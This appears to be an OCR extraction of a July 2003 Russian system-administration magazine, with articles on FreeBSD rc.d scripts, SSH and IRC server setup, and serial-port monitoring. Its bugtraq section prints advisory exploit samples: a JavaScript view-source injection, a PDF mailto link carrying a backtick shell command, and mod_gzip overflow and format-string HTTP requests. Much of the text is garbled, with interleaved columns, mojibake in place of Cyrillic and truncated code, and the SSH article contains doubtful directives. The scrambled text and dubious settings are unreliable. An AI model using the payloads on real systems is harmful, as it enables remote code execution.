администрирование представляют собой нечто монолитное, разделенное только по общей функциональности, воспользоваться ими для старта сервисов без перезагрузки можно разве что в качестве практического пособия «как это устроено». В этом случае запуск сервисов распадается на два этапа: внесение изменений в конфигурационный файл, чтобы все работало и после перезагрузки, и запуск программ вручную. Проблема в том, что второй этап никак не проверяет правильность первого: может возникнуть ситуация, когда вручную все запущено правильно, а в конфигурационном файле допущена ошибка. Если это так, то при любой последующей перезагрузке соответствующий сервис не стартует, и придется все исправлять (хорошо, если вы будете в этот момент рядом, а не в отпуске, например). К тому же запуск вручную не всегда тривиален: к примеру, для запуска NFS сервера в FreeBSD 4.x так, как это происходит при установке параметра nfs_server_enable=«YES» в rc.conf, потребуются следующие команды:

# PROVIDE: nfsd # REQUIRE: mountd # KEYWORD: FreeBSD NetBSD

Этот скрипт предоставляет сервис nfsd, требует предварительного запуска mountd и работает в FreeBSD и NetBSD. Должен быть хотя бы один скрипт без ключевого слова REQUIRE, чтобы rcorder мог определить первый стартовый скрипт. Например, /etc/rc.d/devd содержит следующий блок: # PROVIDE: devd # BEFORE: disks # KEYWORD: FreeBSD

Ключевое слово BEFORE помогает определить последующие скрипты (в которых анализируется строка «# PROVIDE: disks»). В FreeBSD правильную последовательность скриптов выдает следующая команда: # rcorder -k FreeBSD -s nostart /etc/rc.d/* 2>/dev/null

# # # #

portmap mountd -r nfsd rpc.statd

В FreeBSD 5.x достаточно добавить эту переменную и выполнить команду: # /etc/rc.d/nfsd start

Очевидно, это гораздо проще и к тому же проверена на правильность соответствующая переменная. В примере с NFS в обеих случаях сначала необходимо подготовить файл /etc/exports (man exports(5)). Другие параметры также достаточно интересны: например, status поможет узнать, какие процессы запущены в данный момент, а rcvar – познакомиться со скриптами поближе: # for i in /etc/rc.d/*; do $i status 2>/dev/null; done # for i in /etc/rc.d/*; do echo $i; $i rcvar 2>/dev/null; ↵ echo; done

Для стартовых скриптов системы, в отличие от локальных скриптов в /usr/local/etc/rc.d, очень важен порядок запуска. Локальные скрипты не имеют механизма реализации зависимостей и определения порядка запуска. Они стартуют в алфавитном порядке и если необходимо, чтобы какой-то скрипт стартовал раньше, нужно «повысить» его место по алфавиту. Обычно перед именем скрипта добавляют пару-тройку нулей. Зависимости и определение порядка запуска в системных стартовых скриптах FreeBSD 5.x реализуются с помощью rcorder(8). Эта программа использует специальные ключевые слова, содержащиеся в каждом скрипте: REQUIRE, PROVIDE, BEFORE, KEYWORD. Для оболочки строки, содержащие эти слова, являются комментариями. Вот пример блока ключевых слов /etc/rc.d/nfsd (все пробелы обязательны):

22

В полученном списке по именам скриптов можно выделить три группы. Скрипты с именами в верхнем регистре служат только для определения основных зависимостей. Это своеобразные «контрольные точки», которые определяют набор зависимостей на отдельных этапах загрузки. Таких скриптов всего четыре: NETWORKING, SERVERS, DAEMON, LOGIN (man rc(8)). Они используются только rcorder, для sh это всего лишь набор комментариев. Остальные скрипты делятся по признаку наличия или отсутствия расширения «.sh». Если расширение присутствует, скрипт запускается в текущей оболочке. В локальных скриптах поддержка параметров реализуется с помощью конструкции case. Параметр start предполагает запуск программы, stop – отправку ему сигнала TERM. Любой другой параметр – вывод краткой справки по параметрам. Шаблон локального скрипта выглядит так (man rc(8)): #!/bin/sh case "$1" in start) /usr/local/sbin/prog -d && echo -n ' prog' ;; stop) kill `cat /var/run/prog.pid` && echo -n ' prog' ;; *) echo "unknown option: $1 - should be 'start' or 'stop'" >&2 ;; esac

Реализация таким методом большего числа параметров потребует соответствующего числа ключевых слов в case и множества довольно тривиального и одинакового для всех скриптов кода (более сложного, чем в приведенном примере). Видимо, разработчикам NetBSD такое решение изящным не показалось и вся функциональность стартовых скриптов нового поколения была реализована в отдельном скрипте (/etc/rc.subr). Вот шаблон простейшего скрипта «нового поколения».


администрирование #!/bin/sh # # PROVIDE: # REQUIRE: # BEFORE: # KEYWORD:

command_interpreter – командный интерпретатор, с поprog before_prog after_prog FreeBSD

. /etc/rc.subr

мощью которого запускается command.

extra_commands – дополнительные параметры запуска.

pidfile – полный путь к файлу PID. Если эта перемен-

name="prog" rcvar=`set_rcvar` command="/usr/local/bin/prog" load_rc_config $name run_rc_command "$1"

Функционально этот скрипт превосходит предыдущий за счет добавления новых параметров (и к тому же, благодаря параметрам rcorder, он «знает свое место»). Визуально он делится на четыре части: ключевые слова, включение /etc/rc.subr, переменные и запуск функций из включенного rc.subr. Между переменными и запуском функций rc.subr могут быть включены собственные функции скрипта. В скрипт могут быть помещены переменные argument_cmd. Слово argument означает параметр запуска. Если запустить любой из стартовых скриптов без параметров, он выдаст информацию примерно в таком виде: Usage: /etc/rc.d/prog ↵ [fast|force](start|stop|restart|rcvar|reload|status|poll)

Параметрами скрипта могут быть start, faststart, forcestart, stop, faststop... и соответственно переменная argument_cmd на самом деле означает набор start_cmd, stop_cmd... Получить примерное представление о том, какие на самом деле используются переменные, поможет следующая команда: $ cat /etc/rc.d/[a-z]* | egrep "^[a-z]+_?[a-z]+=.*$" ↵ | awk -F= '{print $1}' | sort -u | less

Не менее интересен может быть просмотр переменных вместе с их значениями: $ cat /etc/rc.d/[a-z]* | egrep "^[a-z]+_?[a-z]+=.*$" ↵ | sort -u | less

В man rc.subr(8) дано описание всех используемых функций и переменных. Задаваемые в стартовых скриптах переменные используются функцией run_rc_command. Вот список этих переменных в сокращенном виде: name – имя скрипта. Указывается в обязательном порядке. rcvar – значение переменной, имя которой помещено в rcvar, берется из rc.conf и проверяется с помощью checkyesno. Истинными считаются значения «YES», «TRUE», «ON» или «1». Ложными «NO», «FALSE», «OFF» или «0». command – полный путь к команде. Переменная не нужна, если для каждого поддерживаемого параметра указана переменная argument_cmd. command_args – опциональные аргументы и/или директивы оболочки.

№7(8), июль 2003

ная установлена, для проверки процесса используется check_pidfile $pidfile $procname. Иначе, если установлена переменная command, используется check_process $procname. procname – имя процесса для проверки. По умолчанию – procname. required_dirs – проверка на наличие директории перед стартом программы. required_files – проверка на читаемость файлов. required_vars – проверка переменной с помощью checkyesno. ${name}_chdir – каталог, в который нужно войти перед запуском command, если нет – ${name}_chroot. ${name}_chroot – каталог для запуска chroot(8) перед запуском command. ${name}_flags – эта переменная используется для перезаписи соответствующей переменной из rc.conf. ${name}_nice – устанавливает уровень nice(1) перед запуском command. ${name}_user – пользователь, под которым запускается command. Если установлена переменная ${name}_chroot, используется chroot(8), иначе – su(1). ${name}_group – группа для запуска command в chroot. ${name}_groups – разделенный запятыми список групп для запуска в chroot. argument_cmd – перезаписывает действие по умолчанию. argument_precmd – выполняется перед argument_cmd или действием по умолчанию, которое выполняется только в случае успешного завершения argument_precmd. argument_postcmd – выполняется, если argument_cmd или действие по умолчанию успешно выполнены. sig_stop – сигнал, который посылается процессу для его завершения вместо SIGTERM. sig_reload – сигнал, который посылается процессу для перезагрузки вместо SIGHUP.

Префикс fast означает отсутствие проверки запущенных процессов перед запуском нового и установку переменной rc_fast=YES, а префикс force – установку переменной rc_force=YES и игнорирование статуса завершения argument_precmd. В отличие от локальных скриптов, для работы скрипта «нового поколения» в rc.conf должна быть помещена переменная, имя которой определяется значением rcvar. Кроме того, туда же можно поместить и дополнительные переменные, например ${name}_flags. В целом с переходом на новые скрипты настройка системы в rc.conf не изменилась (совместимость оставлена с целью минимизации проблем при обновлении системы). Возможностей по перенастройке системы на ходу явно прибавилось, и к тому же стартовые скрипты теперь еще лучше подходят в качестве инструмента изучения системы.

23


администрирование

НАСТРОЙКА СЕРВЕРА SSH

ДЕНИС КОЛИСНИЧЕНКО

24


администрирование Сервис Telnet обеспечивает базовую эмуляцию терминалов удаленных систем, поддерживающих протокол Telnet над протоколом TCP/IP. Обеспечивается эмуляция терминалов Digital Equipment Corporation VT 100, Digital Equipment Corporation VT 52, TTY. Любые команды, выполняемые с помощью Telnet, обрабатываются telnet-сервером, а не локальным компьютером. Пользователь лишь видит результат выполнения этих команд. Для использования Telnet на удаленном компьютере должен быть установлен telnet-демон. На компьютере пользователя нужно установить программу-клиент. Практически в каждой операционной системе существует утилита telnet, которая является клиентом для протокола telnet. Сервис Telnet был и остается одним из самых популярных способов удаленной регистрации и работы на удаленной машине. Основным его недостатком является то, что любая информация, в том числе и пароли, передается в открытом виде без какого-либо кодирования. SSH (Secure Shell) – программа, позволяющая вам зарегистрироваться на удаленных компьютерах и установить зашифрованное соединение. Существует также «безопасная» версия telnet – stelnet. SSH использует криптографию открытого ключа для шифрования соединения между двумя машинами, а также для опознавания пользователей. Оболочку ssh можно использовать для безопасной регистрации на удаленном сервере или копировании данных между двумя машинами, в то же время предотвращая атаки путем присоединения посредине (session hijacking) и обманом сервера имен (DNS spoffing). Оболочка Secure Shell поддерживает следующие алгоритмы шифрования: BlowFish – это 64-разрядная схема шифрования. Этот алгоритм часто используется для высокоскоростного шифрования данных больших объемов. Тройной DES (Data Encryption Standard) – стандарт для шифрования данных. Данный алгоритм довольно старый, поэтому не рекомендуется его использовать. Обычно DES используется для шифрования несекретных данных. IDEA (International Data Encryption Algorithm) – международный алгоритм шифрования информации. Этот алгоритм работает со 128-разрядным ключом и поэтому он более защищен, чем BlowFish и DES. RSA (Rivest-Shamir-Adelman algorithm) – алгоритм Ривеста-Шамира-Адельмана. Представляет собой схему шифрования с открытым и секретным ключами. При выборе алгоритма шифрования нужно исходить из конфиденциальности информации, которую вам нужно передать. Если информация секретна, лучше использовать алгоритмы IDEA или RSA. Если же вы просто не хотите передавать данные в открытом виде, используйте алгоритм BlowFish, поскольку он работает значительно быстрее, чем DES. Оболочка ssh очень эффективна против анализаторов протоколов, так как она не только шифрует, но и сжимает трафик перед его передачей на удаленный компьютер.

№7(8), июль 2003

Программу ssh можно скачать по адресу http:// www.cs.hut.fi/ssh/. Версия ssh для UNIX распространяется бесплатно, а за Windows-версию (имеется в виду клиент для Windows) нужно заплатить. Оболочка ssh незаменима в тех случаях, когда удаленно нужно администрировать сервер или когда сервер не имеет собственного монитора. При использовании telnet все данные, которые передаются через telnet-соединение, доступны в открытом виде. А значит, имена пользователей и пароли будут доступны всем, кто прослушивает трафик с помощью анализатора. SSH выполняет шифрование, используя несколько различных алгоритмов, включая DES и 3DES. Программа состоит из демона sshd, который запускается на Linux/UNIX-машине, и клиента ssh, который распространяется как для Linux, так и для Windows. Чтобы установить ssh, возьмите исходные тексты и поместите их по традиции в каталог /usr/src/. Затем распакуйте архив и установите программу, выполнив следующую последовательность действий: cd /usr/src/ tar xzf ssh-2.4.0.tar.gz cd ssh-2.4.0 ./configure make make install

Чтобы ssh начал работать, необходимо запустить демон sshd на той машине, к которой предполагается подключение. Желательно добавить команду запуска в сценарий загрузки системы для автоматического запуска. Демон sshd работает по 22 порту (см. листинг 1). Если не ошибаюсь, ssh невозможно использовать вместе с xinetd/inetd – его нужно запускать подобно httpd-серверу в режиме standalone. Ëèñòèíã 1. Ôðàãìåíò ôàéëà /etc/services ssh 22/tcp # SSH Remote Login Protocol ssh 22/udp # SSH Remote Login Protocol

Обычно с настройкой sshd не возникает никаких неприятных моментов. Подробно о настройке sshd поговорим чуть позже. Теперь попробуйте зарегистрироваться на этой машине через ssh. Для этого нужно установить этот же пакет на другую машину под управлением Linux/UNIX (или установить Windows-клиент ssh) и ввести команду: $ ssh hostname.domain

ssh запросит вас ввести пароль пользователя. В качестве имени пользователя для установки соединения будет использовано имя текущего пользователя, то есть имя, под которым вы сейчас зарегистрированы в системе. В случае если аутентификация пройдет успешно, начнется сеанс связи. Прекратить сеанс можно комбинацией клавиш Ctrl+D. Если вам нужно указать другое имя пользователя, используйте параметр -l программы ssh: ssh -l user hostname.ru

25


администрирование Так можно указать программе ssh, от имени какого пользователя нужно регистрироваться на удаленной машине (см. рис. 1).

сервера. Обе стороны используют этот случайный номер как ключ сессии, который используется для кодирования всех передаваемых во время сессии данных. Затем клиент пытается аутентифицировать себя, используя .rhosts-аутентификацию, аутентификацию RSA или же аутентификацию с использованием пароля. Обычно .rhosts-аутентификация небезопасна и поэтому она отключена.

Протокол SSH версия 2

Ðèñ. 1. Ðåãèñòðàöèÿ íà óäàëåííîé ìàøèíå.

При использовании Windows-клиента имя компьютера, имя пользователя и пароль нужно ввести в диалоговом окне программы. Если соединение не устанавливается, попробуйте выбрать метод кодирования blowfish. Если и это не поможет, выберите 3DES. Работа в ssh аналогична работе в telnet. Вы можете администрировать удаленную машину также легко, как и локальную. Оболочка ssh использует два файла конфигурации ssh_conf и sshd_conf. Думаю, что нет смысла говорить о том, что они находятся в директории /etc/ssh. Рекомендую в файле sshd_conf прописать следующую строчку: allowedadress 10.1.1.1 10.1.2.1 10.1.3.1

Это означает, что доступ по ssh может быть выполнен только с машин с адресами 10.1.1.1, 10.1.2.1, 10.1.3.1. Это оградит ваш компьютер от нежелательных вторжений извне. Программа stelnet во всем полностью аналогична программе telnet, но она выполняет шифрование трафика, который передается во время telnet-соединения. Демон sshd – это программа-демон для оболочки ssh. Обычно sshd запускается на машине, к которой подключаются клиенты SSH. Последние версии демона sshd поддерживают две версии протокола SSH: SSH версия 1 и SSH версия 2.

Протокол SSH версия 1 У каждого узла есть свой RSA-ключ (обычно 1024 бит), который используется для идентификации узла. Этот ключ еще называется открытым. Дополнительно при запуске демона генерируется еще один RSA-ключ – ключ сервера (обычно 768 бит). Этот ключ создается заново каждый час и никогда не сохраняется на диске. Каждый раз при установке соединения с клиентом демон отправляет ему в ответ свой открытый ключ и ключ сервера. Клиент сравнивает полученный открытый ключ со своей базой данных, чтобы проверить, не изменился ли он. Затем клиент случайным образом генерирует 256-разрядное число и кодирует его, используя одновременно два ключа – открытый ключ и ключ

26

Версия 2 работает аналогично: каждый узел имеет определенный DSA-ключ, который используется для идентификации узла. Однако при запуске демона ключ сервера не генерируется. Безопасность соединения обеспечивается благодаря соглашению Диффи-Хелмана (DiffieHellman key agreement). Сессия может кодироваться следующими методами: 128-разрядный AES, Blowfish, 3DES, CAST128, Arcfour, 192-разрядный AES или 256-разрядный AES. Опции демона sshd указаны в таблице 1. Файл конфигурации демона /etc/ssh/sshd_config довольно большой, поэтому я не стану приводить в статье его полный листинг. Сейчас мы остановимся только на самых важных директивах файла конфигурации. Директива Port предназначена для указания порта, которые демон будет прослушивать (данная директива аналогична опции -p): Port 22

Следующая директива – это директива Protocol. С помощью этой директивы можно указать в порядке предпочтения номера поддерживаемых протоколов SSH: Protocol 2,1

Такое определение директивы означает, что сначала сервер будет пытаться установить соединение с клиентом по протоколу SSH версии 2, а потом – по протоколу SSH версии 1. Можно указать использование только одной версии протокола, например: Protocol 1. Директива ListenAddress указывает локальный адрес, который должен прослушивать демон. Директива определяет файлы ключей. Файлами по умолчанию являются: /etc/ssh/ssh_host_key /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_dsa_key

Директива ServerKeyBits определяет разрядность ключа сервера для протокола SSH первой версии. По умолчанию используется 768-разрядный ключ (768 бит). Директива LoginGraceTime аналогична опции -g : предоставляет клиенту дополнительное время, чтобы аутентифицировать себя. По умолчанию время равно 600 секундам. Если за это время клиент не смог аутентифицировать себя, соединение будет прекращено. Директива KeyRegenerationInterval аналогична опции -k.


администрирование Òàáëèöà 1. Îïöèè äåìîíà sshd.

Она определят время, спустя которое ключ сервера будет создан заново. По умолчанию время составляет 3600 секунд (1 час). Директива PermitRootLogin определяет, разрешено ли пользователю root регистрироваться по ssh. Значение по умолчанию: PermitRootLogin yes

Еще две директивы, имеющие непосредственное отношение к аутентификации – это PasswordAuthentication и PermitEmptyPasswords. Первая разрешает (при значении yes) аутентификацию с помощью пароля, а вторая разрешает (при значении yes) использовать пустые пароли. Значения по умолчанию: PasswordAuthentication yes PermitEmptyPasswords no

Описание остальных опций вы найдете в справочной системе, введя команду man sshd. Ваши вопросы и комментарии присылайте на dhsilabs@mail.ru.

№7(8), июль 2003

27


администрирование

IRC-CЕРВЕР

АЛЕКСАНДР СЛОБОДСКОЙ 28


администрирование Итак, вы администрируете небольшую локальную сеть. Так или иначе пользователям хочется общаться. Такие программы, как lantalk, естественно, не подходят, потому что рассылают широковещательные пакеты по всей сети, что не есть хорошо. Выход – установка irc-сервера, который лишен очень многих недостатков и имеет массу преимуществ. Например, быстрота работы по сравнению с www-чатами – ведь клиенту не приходится грузить громоздкую страницу, чаще всего наполненную всяческими баннерами; расходование меньшего количества трафика, что не может не радовать. Существует несколько разновидностей irc-серверов, имеющих некие свои особенности, но похожие друг на друга в целом, например, unreal ircd, bahamut ircd и так далее, но в данном обзоре я рассмотрю PTlink ircd как более простой для описания и использующийся в российской irc-сети – IrcNET.Ru. Приступим. Качаем сам сервер с http://www.aldem.net/irc. Выберите ли вы бинарный файл или скомпилируете из исходных кодов, зависит от того, какая операционная система на вашем сервере. В статье пойдет речь именно о Unix-версии. В Unix-версии компилирование должно обязательно проходить под обычным пользователем, то есть у того, у кого id больше 0, иначе сервер откажется компилироваться. Распаковываем архив, заходим в папку и пишем: [user@server]$ ./configure

Появится экран с описанием изменений и дополнений, начиная с самого старого. Пролистываем описание и нажимаем enter. Теперь нужно выбрать опции сборки сервера. Сначала вас спросят о типе компилятора: выбираем gcc, если, конечно, вы не являетесь счастливым обладателем экзотической операционной системы типа HP-UX, в этом случае выбирайте cc. Дальше идут опции компиляции, их можно оставить по умолчанию, так как они автоматически определяются в зависимости от операционной системы. Затем выбираем место, где будет лежать папка со всеми необходимыми файлами для ircd. Выбираем название бинарного файла. Далее идет опция – компилировать ли сервер как Hub или как Leaf. (Hub – сервер, способный присоединять к себе другие сервера. Leaf – одиночный сервер, привязанный к хабу, не имеющий возможности присоединять сервера). Выберите нужный вам тип в зависимости от стоящих перед вами задач. Затем вас спросят, осуществлять ли криптование паролей irc-операторов: если нет, то пароли в O-lines вписываем простым текстом; если да, то пароли необходимо зашифровать. Для этого необходимо зайти на ircсервер и набрать команду /mkpasswd ваш_пароль: получится некая последовательность букв и цифр – их и нужно вписать в O-line на место пароля. У вас возникнет вопрос: «Как зайти-то, ведь мы еще не настроили ircd?». Ответ прост: сначала настройте сам сервер, а пароль для O-line можно сделать в самом конце, он не критичен для работоспособности ircd. Далее выбираем число разрешенных соединений к серверу. И последний пункт – выбор типа сети. Компиляция:

Примечание: если сервер при запуске сразу выпадает в core, возможно, проблемы с share-библиотеками, тогда нужно вернуться к компиляции снова: [user@server]$ make LDFLAGS=static && make install

Теперь, скорее всего, все будет в порядке. Переходим в директорию, которую указали при компиляции и видим там несколько файлов: ircd – основной бинарный файл. ircd.conf – файл конфигурации. ircd.motd – файл, который выдается всем пользователям при каждом заходе на irc. Можете изменять и дополнять его нужной информацией или картинкой, например. help.user – файл помощи для простых смертных, выводится командой /helpsys. help.oper – файл помощи для irc-операторов. help.admin – файл для irc-администраторов. Файл sendbug необходим в случае падения ircd в core, таким образом можно отправить им этот файл для исправления ошибок. Синтаксис: sendbug ircd.core. После запуска и использования irc-сервера в этой же папке появится пара новых файлов, таких как ircd.pid, в котором находится номер процесса запущенного сервера, и gline.log, в котором находится список всех gline, которые ставились в сети. (Gline – запрет доступа ко всем серверам сети для определенных IP). Переходим к составлению конфигурационного файла. Все опции пишутся через двоеточие. В M-line содержится техническая информация о сервере: M:èìÿ_ñåðâåðà:ip:îïèñàíèå_ñåðâåðà:ñòàíäàðòíûé_ïîðò

А-line – отражает информацию об администраторе данного сервера, эта информация доступна через команду /admin на irc-сервере. A:îïèñàíèå:Admin:e-mail

Y-line – определяет классы коннектов серверов друг к другу, Y-lines нужно оставить без изменений. Все же некоторое описание необходимо, т.к. оно пригодится далее при написании C\N-lines. Класс-1 – определяет соеднинения простых смертных с сервером: Y:1:90:0:250:100000

предпоследний параметр, определяет разрешенное количество коннектов к серверу. Класс-30 – коннект Hub to Leaf: Y:30:180:0:0:3500000

Класс-40 – как раз наоборот, Leaf to Hub: [user@server]$ make && make install Y:40:90:90:1:3500000

Если все прошло гладко, то сервер готов к использованию.

№7(8), июль 2003

29


администрирование Класс-50 – класс коннекта Hub to Hub, с автоконнектом:

N:óäàëåííûé_ñåðâåð:ïàðîëü:èìÿ_óäàëåííîãî_ñåðâåðà: ↵ êëàññ_ êîííåêòà

Y:50:90:60:1:4000000

Q-line – запрет использования ников. Пример:

И класс-51 – тоже класс коннекта Hub to Hub, но без автоконнекта: Y:51:90:60:0:4000000

I-line – для разрешения доступа к irc-серверу по IP или паролю: I:*@*:Ïàðîëü:*@*::1

синтаксис понятен. Если же вам не надо кого-нибудь ограничивать, вот пример I-line стандартного: I:*@*::*@*::1

Теперь обратимся к O-line. Строка, определяющая доступ к irc-операторству: O:host:ïàðîëü:login:modes:1

Параметр modes вы, естественно, выбираете сами, ниже даны основные режимы. Данные режимы устанавливаются для пользователя irc, набравшего команду /oper и нужны для управления сервером irc: r R D g c C k K b o

= = = = = = = = = =

äîñòóï ê êîìàíäå /rehash. äîñòóï ê êîìàíäå /restart. äîñòóï ê êîìàíäå /die. ìîæåò ñëàòü /globops. äîñòóï ê ëîêàëüíîìó ïðîèçâåäåíèþ /connect è /squit. äîñòóï ê óäàëåííûì /squits è /connects. äîñòóï ê ëîêàëüíûì /kills. äîñòóï ê ãëîáàëüíûì /kills. äîñòóï ê /kline ïîëüçîâàòåëåé ñ ñåðâåðà. ëîêàëüíûé àäìèíèñòðàòîð, âêëþ÷åíû òàêèå ôëàãè, êàê, rhgwlckbBnuf.

O – глобальный оператор, включены такие флаги, как: oRDCKN. U-line – определяет сервисы, чтобы правильно понимать смену топиков, модов на irc:

Q:*:ïðè÷èíà:nickname

H-line – определяет сервер как Hub, на серверах Leaf всегда должен указываться H-line на вышестоящий Hub: H:*::hub.server.ru

P-line – позволяет открывать прослушивание коннектов на дополнительный порт: P:*:*:*:port

e-line – исключение проверки на open socks: e:127.0.0.1::*

На этом описание конфигурационного файла можно закончить. А вот небольшой пример реально работающего конфигурационного файла: M:irc.server.ru:*:Network server:6667 A:My cool server:mr_Black:email@server.ru Y:1:90:0:30:100000 Y:50:90:60:1:4000000 Y:51:90:60:0:4000000 Y:30:180:0:0:3500000 Y:40:90:90:1:3500000 I:*@*::*@*::1

Пароль здесь представлен без криптования. O:*@*:qwerty:mr_Black:*:1 U:services.server.ru:*:* X:qwerty:qwerty C:127.0.0.1:services:services.server.ru:50 N:127.0.0.1:services:services.server.ru::50 Q::Reserved for services:ChanServ Q::Reserved for services:NickServ Q::Reserved for services:MemoServ Q::Reserved for services:OperServ Q::Reserved for services:HelpServ Q::Reserved for services:NewsServ Q::Reserved for services:Global Q::Reserved for operators:IRCop H:*::services.server.ru

U:services.some.net:*:*

X-line – определяет пароли для restart и die: X:diepass:restartpass

C-line – строка описывает сервер, пытающийся приконнектиться. N-line – строка, описывающая возможность коннекта с данного сервера. Обязательно использование C- и N-lines в паре друг с другом. C:óäàëåííûé_ñåðâåð:ïàðîëü:èìÿ_óäàëåííîãî_ñåðâåðà: ↵ port:êëàññ _êîííåêòà

который был определен в Y-line.

30

Вот пример конфигурации с настроенными на сервисы C\N\H lines. Запускайте ircd. Попробуем приконнектиться на порт, который вы указали в ircd.conf. Видим, что все работает, и уже можно оповестить пользователей о появлении нового сервиса и как с ним работать. Для работы в irc есть очень много интересных клиентов, вот некоторые из них: для windows: mIRC; http://www.mirc.com, BersIRC; http:// www.bersirc.com. для Unix-систем: xchat; http://www.xchat.org, BitchX; http:/ /www.bitchx.org. http://www.ptlink.net/Coders – сайт разработчиков сервера PTlink, там же можно найти и сервисы для ircd. http://www.ircd.ru – интересный ircd-сервер.


bugtraq Уязвимость шестилетней давности для IE работает на новых версиях Mozilla, Netscape и Opera

Несколько уязвимостей в mod_gzip позволяют удаленному пользователю выполнять произвольный код на системе

Уязвимость в управлении доступом обнаружена в Java и Javascript, выполненных в браузерах Netscape, Mozilla и Opera. Злонамеренный сценарий или апплет может выполнить произвольный код и подключиться к произвольным доменам. Сообщается, что удаленный пользователь может создать HTML, который, когда будет загружен целевым пользователем, внедрит и выполнит произвольный Javascript-код в JavaScript-консоли в браузере целевого пользователя, применяя функцию «view-source:». Эксплоит:

Несколько уязвимостей обнаружено в mod_gzip в подпрограммах отладки. Удаленный пользователь может выполнить произвольный код. Локальный пользователь может получить root-привилегии на уязвимой системе. Сообщается, что удаленный пользователь может запросить длинное имя файла, которое должно быть обработано gzip, чтобы вызвать буферное переполнение в механизме регистрации. Уязвимость может использоваться для выполнения произвольного кода. Пример:

<script> function werd() a.document.open(); a.document.write("<h1>werd</h1>"); a.document.close(); function winopen() { a=window.open("view-source:javascript:location= ↵ 'http://www.iss.net';"); setTimeout('werd()',23000); </script>

Также сообщается, что злонамеренный апплет может выполнить подключения к произвольным доменам. Демонстрационный эксплоит был написан несколько лет назад для уязвимости в Microsoft Internet Explorer, которая была устранена с того времени, но появилась в Mozilla, Opera и Netscape: http://neurosis.hungry.com/~ben/msie_bug/. Способов устранения обнаруженной уязвимости не существует в настоящее время.

Выполнение произвольных команд оболочки в Adobe Acrobat Reader и Xpdf Уязвимость обнаружена в Adobe Acrobat Reader и Xpdf для Linux-систем. Удаленный пользователь может создать злонамеренный PDF-файл, который выполнит произвольные команды оболочки при клике на ссылку в PDF-файле. Сообщается, что удаленный пользователь может внедрить команды оболочки в пределах внешней гиперссылки. Согласно сообщению, PDF reader передает гиперссылку к операционной системе, используя команду 'sh -c'. В результате ссылка может быть обработана в следующей форме: mailto:[address]`[malicious command]`

Уязвимость обнаружена в Adobe Acrobat Reader 5.06 для Linux/UNIX и Xpdf 1.01. Способов устранения обнаруженной уязвимости не существует в настоящее время.

№7(8), июль 2003

GET [overflow] HTTP/1.1 Host: www.apachesite.com Accept-Encoding: gzip, deflate

Также сообщается, что удаленный пользователь может представить специально обработанный HTTP GET запрос, чтобы эксплуатировать уязвимость форматной строки в механизме регистрации Apache. Уязвимость может использоваться для удаленного выполнения произвольного кода. Пример: GET /cgi-bin/printenv.pl?x=%25n%25n%25n%25n%25n HTTP/1.1 Host: www.apachesite.com Accept-Encoding: gzip, deflate

или GET /cgi-bin/printenv.pl?x=%n%n%n%n%n HTTP/1.1 Host: www.apachesite.com Accept-Encoding: gzip, deflate

Также сообщается, что когда регистрация Apache не используется, программное обеспечение использует небезопасные файлы регистрации, основанные на ID процесса (например “t.log”). Локальный пользователь может сконструировать символьную ссылку из временного файла к критическому системному файлу на системе. Когда mod_gzip выполняется, ссылающийся фал будет перезаписан с root-привилегиями. Уязвимость обнаружена в mod_gzip 1.3.26.1a.

DoS против Microsoft Windows 2000/XP/2003 Уязвимость обнаружена в Microsoft Windows 2000/XP/2003. Удаленный атакующий может остановить работу сетевых служб. Сообщается, что если на целевом сервере включена поддержка IPV6, то удаленный пользователь может запустить ICMP flood нападение, чтобы отключить работу сетевых служб. Уязвимость обнаружена в Microsoft Windows 2000/XP/2003.

Составил Александр Антипов

31


администрирование

КОНТРОЛЬ ПОСЛЕДОВАТЕЛЬНЫХ ПОРТОВ В Linux

ДЕНИС КОЛИСНИЧЕНКО 32


администрирование Интерфейс RS-232C является одним из самых распространенных способов связи компьютеров и периферийных устройств. Кто же не помнит старый добрый Norton Commander и его функцию Связь (Link), позволяющую обмениваться файлами двум компьютерам, соединенным нуль-модемным кабелем? Интерфейс RS-232C подразумевает наличие двух типов оборудования: Терминального (DTE); Связывающего (DCE).

Òàáëèöà 2. Êîíòàêòû è ñèãíàëû (25 pin).

Терминальное устройство принимает и/или отправляет данные. К терминальному типу относятся, например, компьютеры. Терминальные устройства служат окончанием линии передачи данных, отсюда и название – terminate. Связывающее оборудование (DCE) обеспечивает передачу данных между терминальными устройствами по линии связи. Иногда нам нужно знать состояние терминального устройства, или же мы хотим заставить связное устройство DCE работать как терминальное DTE, для этого нам нужно сделать небольшое изменение в линиях данных интерфейса RS-232C. Для этого нужно знать, какие функции выполняет тот или иной сигнал интерфейса. Терминальное оборудование оснащено 9- или 25-контактными D-образными разъемами. На следующем рисунке изображены сами порты, а также нумерация контактов. Следующая программа выводит состояние последовательного устройства. Ëèñòèíã 1. Ïðîãðàììà äëÿ êîíòðîëÿ ïîñëåäîâàòåëüíîãî ïîðòà #include <sys/ioctl.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <signal.h> int main(int argc, char **argv) { int fd; int flags;

Ðèñ. 1. Ïîñëåäîâàòåëüíûå ïîðòû.

В таблицах 1 и 2 описаны функции контактов для 9- и 25-контактных портов соответственно. Òàáëèöà 1. Êîíòàêòû è ñèãíàëû (9 pin).

if (argc<1) { fprintf(stderr,"Usage: pctrl serial_device"); fprintf(stderr,"For example: sns /dev/ttyS0"); exit(1); } if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) { // Íåâîçìîæíî îòêðûòü ïîðò fprintf(stderr, "Cannot open port"); exit(1); } // Áåñêîíå÷íûé öèêë. Äëÿ âûõîäà èç ïðîãðàììû íàæìèòå Ctrl + C while (1) { ioctl(fd, TIOCMGET, &flags);

Интерфейс RS-232C обеспечивает два независимых последовательных канала данных: основной и вспомогательный (вторичный), но на практике используется только основной, поэтому в асинхронном режиме используются только первые 9 линий из 25.

№7(8), июль 2003

/* Èñïîëüçóåìûå êîíñòàíòû (ñì. òàáëèöó 1) #define TIOCM_LE 0x001 #define TIOCM_DTR 0x002 #define TIOCM_RTS 0x004 #define TIOCM_ST 0x008 #define TIOCM_SR 0x010 #define TIOCM_CTS 0x020 #define TIOCM_CAR 0x040 #define TIOCM_RNG 0x080 #define TIOCM_DSR 0x100 #define TIOCM_CD TIOCM_CAR #define TIOCM_RI TIOCM_RNG */

33


администрирование // if if if if if if if if

